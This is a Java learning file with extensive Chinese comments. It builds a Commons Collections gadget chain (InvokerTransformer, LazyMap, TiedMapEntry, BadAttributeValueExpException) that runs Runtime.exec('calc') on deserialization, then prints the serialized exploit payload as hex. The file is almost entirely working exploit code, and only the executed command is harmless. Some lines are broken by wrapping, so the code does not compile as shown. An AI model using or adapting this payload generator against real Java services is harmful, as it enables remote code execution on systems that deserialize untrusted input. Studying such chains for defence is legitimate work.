```java
// ------------------------------------------------------------------
// import导入，以及具体干什么的

import org.apache.commons.collections.Transformer;
//Transformer CC库顶层接口，只有一个方法transform(object input),输入对象、返回处理后的对象，所有变换类都实现它
import org.apache.commons.collections.functors.*;
//包括三个包，
// ChainedTransformer:链式Transformer,依次执行数组里每一个Transformer,上一个返回值传给下一个，CC链调用核心
// ConstantTransformer:不管输入是什么，永远返回你构造时传入的固定对象
// InvokerTransformer:反射调用器！接收（方法名，参数类型数组，参数值数组），内部用反射执行方法，命令执行核心
import org.apache.commons.collections.keyvalue.TiedMapEntry;
// 包装Map和Key，它的toString()方法会调用map.get(key),CC6关键跳板
// map.get(key):
// 普通HashMap的get(key):
// 作用:根据key去集合里查询对应的value
import org.apache.commons.collections.map.LazyMap;
/* LazyMap里的get(key)经过重写:
  LazyMap.get(key):  1、判断底层Map有没有这个key
  2、key不存在，调用绑定的Tanrsformer.transform(key)
  3、把transform返回的值存入map
  所以这里并不是为了拿值，是为了触发ChainedTransformer,跑整条反射命令执行链
*/


import javax.management.BadAttributeValueExpException;
// 入口类，重写了readobject();反序列化的时候会执行this.val.toString()

//序列化工具：

import java.io.ByteArrayInputStream;
// 从字节数组读数据
import java.io.ByteArrayOutputStream;
// 把序列化的二进制数据写到内存字节数组，不用落地成文件
import java.io.ObjectOutputStream;
// 序列化对象，输出二进制
import java.io.ObjectInputStream;
// 反序列化，readobject()是触发反序列化漏洞的函数

import java.lang.reflect.Field;
//java反射Field,用来修改私有成员变量val。BadAttributeValueExpException的val是
```

```
private，不能直接赋值
import java.util.HashMap;
import java.util.Map;
//原生HashMap，被LazyMap包装的底层map


public class cc6study {
    public static void main(String[] args) throws Exception {

        // ========================================================
        // 第二块：构造反射执行链（Transformer数组）

        //够着反射执行链（Transformer数组）
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                //1. ConstantTransformer，无论传进来什么，固定返回Runtime.class
                //目标：拿到Runtime这个Class对象，为后面getMethod做准备

                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),
                //2. InvokerTransformer反射调用
Runtime.class.getMethod("getRuntime")
                //方法名：getMethod，参数类型：String.class,Class[].class,参
数："getRuntime",空参数数组
                //执行完得到：Method getRuntime() 对象（静态方法）

                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null,new Object[0]}),
                // 3. 调用method.invoke(null)
                // invoke第一个参数是实例,静态方法填null
                // 执行完得到：Runtime,getRuntime() 拿到Runtime实例

                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})
                // 4.调用runtime.exec("calc"),弹出计算器

        };

        ChainedTransformer chainedTransformer = new
ChainedTransformer(transformers);
        // 这一整条数组，交给 ChainedTransformer 串行跑。
        // 输入 → ConstantTransformer → Invoker1 → Invoker2 → Invoker3 → 命令执
行。
```

```
        //=============================================================
        // 第三块 ：LzayMap+TideMapEntry跳板构造

        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);
        // LazyMap.decorate(原始Map,绑定的Transformer)，chainedTransformer传给
LazyMap当factory
        // 规则：
        // 当key不存在时：
        // 1、调用chainedTransformer.transform(key),跑完整条变换流水线
        // 2、把transform执行之后得到的结果放进innerMap
        // 3、返回这个执行后的结果

        TiedMapEntry entry = new TiedMapEntry(lazyMap,"testkey");
        /*
        TideMapEntry源码关键重写了toSting()：
         public String toString(){             return
this.map.get(this.key).toString();         }         只要调用entry.toString()->
自动执行lazyMap.get("testkey")->触发transform
         这是二层跳板。
        */
        BadAttributeValueExpException bad = new
BadAttributeValueExpException("aaa");
        // 先new一个对象，构造参数只是初始化val为字符串"aaa"，后面我们要覆盖掉val
        Field valField =
BadAttributeValueExpException.class.getDeclaredField("val");
        // val是BadAttributeValueExpException的私有成员变量
        valField.setAccessible(true);
        // setAccessible(true):关闭检查权限，暴力读写private字段
        valField.set(bad,entry);
        // valField.set(bad,entry):把bad.val从原来的字符串，替换成我们造好的
TiedMapEntry对象！
        // 即：现在 bad.val = TideMapEntry(lazyMap,"testkey")
        /* BadAttributeValueExpExcrption.readObject()大致原生逻辑：
          peivate void readObject(ObjecrInputStream ois) throws IOException,
ClassNotFoundException {              ois.defaultReadObject();
val.toString(); ---------反序列化的时候，自动执行val.toString(),整体启动开关
          }         */
        // ========================================================
        /*        整条链：
         ->ois.readObject()         -
>BadAttributeValueExpException.readObject()         ->val.toString  这里的val被
改成TideMapEntry
         ->TideMapEntry.toString()         ->lazyMap。get("testkey")
         ->LazyMap里面没有testkey，执行chainedTransformer(key)
```

```
          ->链式Transformer依次执行：
          （"testkey" →【Constant】→ Runtime.class →【getMethod】→ getRuntime 方
法
          →【invoke】→ Runtime 实例 →【exec】→ Runtime.exec("calc")）
          ->返回进程
         */
         //------------------------------------------------------------
// 第五块:序列化，生成payload
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        // 前面有讲，把数据存在byte数组里面,这里就是bos，一个容器，里面封装了一个动态扩容
的byte数组
        // 值得注意的是bos只是容器，不能直接当字节数组读，所以有后面的byte[] payload =
bos.toByteArray();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        // 用于把java对象序列化输出流,指定oos输出内容存入bos

        oos.writeObject(bad);
        //把我们构造好的BadAttributeValueExpException 对象（bad）序列化为二进制，然
后存入bos里面
        oos.close();
        byte[] payload = bos.toByteArray();
        //把bos里的字节取出来，给payload这个标准字节数组，

        //输出payload,打印成十六进制格式
        StringBuilder sd = new StringBuilder();
        // StringBuilder：可变字符串容器
        // 普通字符串String不可变，每次都会新建字符串对象，因为这里payload实际是很长的，
用String的话效率太低
        // StringBuilder可以不断往后追加内容，不会反复新建对象
        for (byte b : payload) {
            sd.append(String.format("%02x",b));
            // 02：不足两位的时候，前面补 0。比如字节 0x0a ->输出 0a，而不是 a
// Java 里byte 是有符号的负数，format 内部会自动处理，输出正确的两位hex。
            // sd.append(...),把转好的两位十六进制字符，追加到 sd 里面,
            // 坏了连这个都不知道，暴露java低陋的水平功底了
        }
        System.out.println("CC6 payload:\n" + sd);

        //============================================================
        //本地验证
        /*
        ByteArrayInputStream bis = new ByteArrayInputStream(payload);
ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
        ois.close();
         */
```

```
    }
}
```